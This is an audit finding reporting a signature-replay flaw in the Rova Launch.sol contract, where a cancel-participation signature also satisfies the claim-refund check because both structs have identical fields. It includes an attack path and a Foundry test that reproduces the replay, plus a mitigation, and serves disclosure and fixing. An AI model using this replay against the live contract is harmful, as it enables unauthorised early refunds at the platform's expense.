Pet Navy Osprey

Medium

# Users can claim refund by using the signature requested for CancelParticipationRequest

### Summary

Same structure between type `CancelParticipationRequest` and `ClaimRefundRequest` can allow an user to use the requested `CancelParticipationRequest` signature to claim refund given the expiration is long enough

### Root Cause

The type `CancelParticipationRequest` and `ClaimRefundRequest` have the same structure. So, if signature verification for `CancelParticipationRequest` passes, then it also passes for `ClaimRefundRequest` and vice versa. This is because both function [`cancelParticipation()`](https://github.com/dpm-labs/rova-contracts/blob/b03e4ede50488a2000bb73d602e28ee4f6c0941f/src/Launch.sol#L420) and [`claimRefund()`](https://github.com/dpm-labs/rova-contracts/blob/b03e4ede50488a2000bb73d602e28ee4f6c0941f/src/Launch.sol#L478) verifies the same signature structure
```solidity
struct CancelParticipationRequest {
    uint256 chainId;
    bytes32 launchId;
    bytes32 launchGroupId;
    bytes32 launchParticipationId;
    bytes32 userId;
    address userAddress;
    uint256 requestExpiresAt;
}

struct ClaimRefundRequest {
    uint256 chainId;
    bytes32 launchId;
    bytes32 launchGroupId;
    bytes32 launchParticipationId;
    bytes32 userId;
    address userAddress;
    uint256 requestExpiresAt;
}
```

Here the problem arises with the scenario that if the cancellation request deadline `requestExpiresAt` provided by the system is long enough such that it does not expires when the launch group is in COMPLETED status, the same signature given by cancellation request can be used to claim refund.

Note: System backend can provide the cancel request with a long period of expiration because the cancel request can become invalid when the launch group is in Completed status. This makes the described scenario more likely to happen.

### Internal Pre-conditions

N/A

### External Pre-conditions

N/A

### Attack Path

1. When launch group is 30 mins before ending, an user requests to cancel the participation and the system provides signature with deadline period = 1 hour, meaning that `requestExpiresAt = block.timestamp + 1 hour`. Note that the user only request, but not execute the function `cancelParticipation()`
2. When the launch group ends (30 mins since step 1), the group status is transitioned to Completed by the Manager
3. The user above calls `claimRefund()` with the data and signature provided by system at step 1.

### Impact

- Users can bypass the request validation of the claim refund request
- Users can claim refund earlier, which can be unfair


### PoC

Update the test file `test/Launch.CancelParticipation.t.sol` as below
```solidity
...
import {
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    ParticipationInfo,
    CancelParticipationRequest,
    ClaimRefundRequest /// <<-- import this struct
} from "../src/Types.sol";
...
contract LaunchCancelParticipationTest is Test, Launch, LaunchTestBase {
    /// ....

    function test_SameSignature() public { /// <<-- Add this test
      // 0.5 hours before end
      vm.warp(settings.endsAt - 0.5 hours);

      // request will expire in 1 hour
      CancelParticipationRequest memory cancelRequest = _createCancelParticipationRequest();
      bytes memory cancelSignature = _signRequest(abi.encode(cancelRequest));

      vm.warp(settings.endsAt + 1);

      vm.startPrank(manager);
      launch.setLaunchGroupStatus(testLaunchGroupId, LaunchGroupStatus.COMPLETED);

      vm.startPrank(user1);

      // same data as the cancel request
      ClaimRefundRequest memory claimRequest = ClaimRefundRequest(
        cancelRequest.chainId,
        cancelRequest.launchId,
        cancelRequest.launchGroupId,
        cancelRequest.launchParticipationId,
        cancelRequest.userId,
        cancelRequest.userAddress,
        cancelRequest.requestExpiresAt
      );

      launch.claimRefund(claimRequest, cancelSignature); /// <<-- this does not revert
    }
```
Run the test and it passed
```bash
Ran 1 test for test/Launch.CancelParticipation.t.sol:LaunchCancelParticipationTest
[PASS] test_SameSignature() (gas: 87774)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.73ms (1.33ms CPU time)
```


### Mitigation

Either handle by backend to provide request's deadline properly, or update the structs to differentiate 2 types of request